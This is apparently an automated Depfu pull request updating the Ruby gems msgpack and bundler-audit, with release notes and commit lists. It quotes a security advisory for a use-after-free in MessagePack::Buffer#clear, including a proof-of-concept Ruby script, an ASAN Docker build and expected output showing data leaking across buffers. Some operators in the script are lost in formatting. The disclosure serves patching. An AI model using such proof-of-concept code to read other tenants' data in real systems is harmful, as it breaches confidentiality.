🚨 [security] Update msgpack 1.8.0 → 1.8.4 (patch)

[depfu]

---

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

---

Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

↗️ msgpack (indirect, 1.8.0 → 1.8.4) · Repo · Changelog

Security Advisories 🚨

🚨 MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

• msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
• Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
• A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
• Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"
# 1) PoC

cat > poc.rb <<'RUBY'

b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)

b1.write('M'  1000); b1.write('A'  200); b1.write('N'  1000)

b1.clear

b1.write('C'  128)

secret = ('s'  200) + ('ABCD'  32) + ('t'  400)

b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)

b2.write(secret)

leaked = b1.read_all

donor  = b2.read_all

puts 'b1_first64:' + leaked.byteslice(0, 64)

puts 'b2_donor64:' + donor.byteslice(200, 64)

puts 'leaked_is_C:' + (leaked == 'C'  128).to_s

puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s

RUBY
# 2) ASAN build of msgpackfrom rubygems

cat > Dockerfile <<'DOCKER'

FROM ruby:3.3-bookworm

RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*

RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && </span>

    cd msgpack-1.8.1/ext/msgpack && </span>

    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && </span>

    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so

DOCKER

docker build -t msgpack-asan-poc .
# 3) Run under ASAN

docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc 

bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Release Notes

1.8.4 (from changelog)

* Fix `MessagePack::Buffer` to stop using already released memory page.
  This could have caused data to leak across buffers when using the MessagePack::Buffer API
  directly.

1.8.3 (from changelog)

* Fix an integer overflow when parsing maps.

1.8.2 (from changelog)

* Fix `Buffer#clear` to properly reset memory chunks before adding them back to the pool.
  This could have caused data to leak across buffers when using the MessagePack::Buffer API
  directly. [CVE-PENDING].

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 40 commits:

• Release 1.8.4
• Merge pull request #399 from Watson1978/fix-rmem-page-ownership
• Fix rmem page released while a later chunk still points into it
• Merge pull request #398 from hsbt/claude/vigilant-chebyshev-63ce11
• Merge pull request #397 from Watson1978/fix-recursive-ext-stack-overflow
• Build deep recursive-extension spec payload without deep recursion
• Skip recursive-extension StackError spec on JRuby
• Raise StackError instead of crashing on deeply nested recursive extensions
• Fix build failure on mswin due to empty UNREACHABLE_RETURN()
• Move dev dependencies in the Gemfile
• Merge pull request #396 from skipkayhil/hm-skokvxlqtrxvuppu
• Speed up immediate unpack when freeze: true by 10%
• Rename object_complete_symbol -> frozen
• Merge pull request #394 from skipkayhil/hm-vokstoouszvzmyxu
• Merge pull request #393 from skipkayhil/hm-yqwsmsuyszxwvnnm
• Fix yard warnings
• Cleanup dead method and dependencies
• Update Changelog
• Release 1.8.3
• Merge pull request #391 from msgpack/map-size-wrap
• Handle integer overflow when parsing maps.
• Release 1.8.2
• Stop testing ruby 2.5 on macOS
• Merge commit from fork
• _msgpack_buffer_shift_chunk: reset rmem pointers when fully empty
• Release 1.8.1
• Merge pull request #389 from msgpack/str-limit
• Update CI matrix
• Update CI matrix
• Don't pre-allocate strings larger than the buffered size
• Merge pull request #386 from msgpack/fix-valgrind-ci
• Fix valgrind installation on CI
• Merge pull request #385 from amatsuda/https
• msgpack.org is served under https now
• Merge pull request #384 from amatsuda/metadata
• More metadata for the gem package
• Use different name for shim implementation of rb_hash_new_capa
• Merge pull request #382 from seedot1234/update-license-in-gemspec
• Update Apache license identifier
• Fix documentation update instructions

✳️ bundler-audit (0.9.2 → 0.9.3) · Repo · Changelog

Release Notes

0.9.3

• Officially support Ruby 3.4, 3.5, and 4.0.
• Added support for Bundler 4.x.
• Fixed typos in API documentation.

CLI

• Ensure that the bundler-audit check command honors the BUNDLER_AUDIT_DB environment variable.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 16 commits:

• Updated the ChangeLog for 0.9.3.
• Version bump to 0.9.3.
• Added Ruby 4.0 to the CI matrix.
• Added Ruby 3.5 to the CI matrix.
• Require rubygems-tasks ~> 0.3 for Ruby 3.5 and 4.0.
• Allow using bundler 4.x
• Remove syntax highlighting from example output.
• Be consistent and only use markdown code fences.
• Fixed typo in `@return` tag.
• Update RubyGems in GitHub Actions CI (#406)
• Added Ruby 3.4 to the GitHub CI matrix.
• Disable new rubocops.
• Default `check --database` to `Database::DEFAULT_PATH`.
• Switched to using `Database::DEFAULT_PATH` instead of `Database.path`.
• Disable the `Gemspec/RequireMFA` rule since it's not aware of `gemspec.yml`.
• Added gem metadata and corrected links in gemspec.yml

---

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands

@​depfu rebase

Rebases against your default branch and redoes this update

@​depfu recreate

Recreates this PR, overwriting any edits that you've made to it

@​depfu merge

Merges this PR once your tests are passing and conflicts are resolved

@​depfu cancel merge

Cancels automatic merging of this PR

@​depfu close

Closes this PR and deletes the branch

@​depfu reopen

Restores the branch and reopens this PR (if it's closed)

@​depfu pause

Ignores all future updates for this dependency and closes this PR

@​depfu pause [minor|major]

Ignores all future minor/major updates for this dependency and closes this PR

@​depfu resume

Future versions of this dependency will create PRs again (leaves this PR as is)

Go to the Depfu Dashboard to see the state of your dependencies and to customize how Depfu works.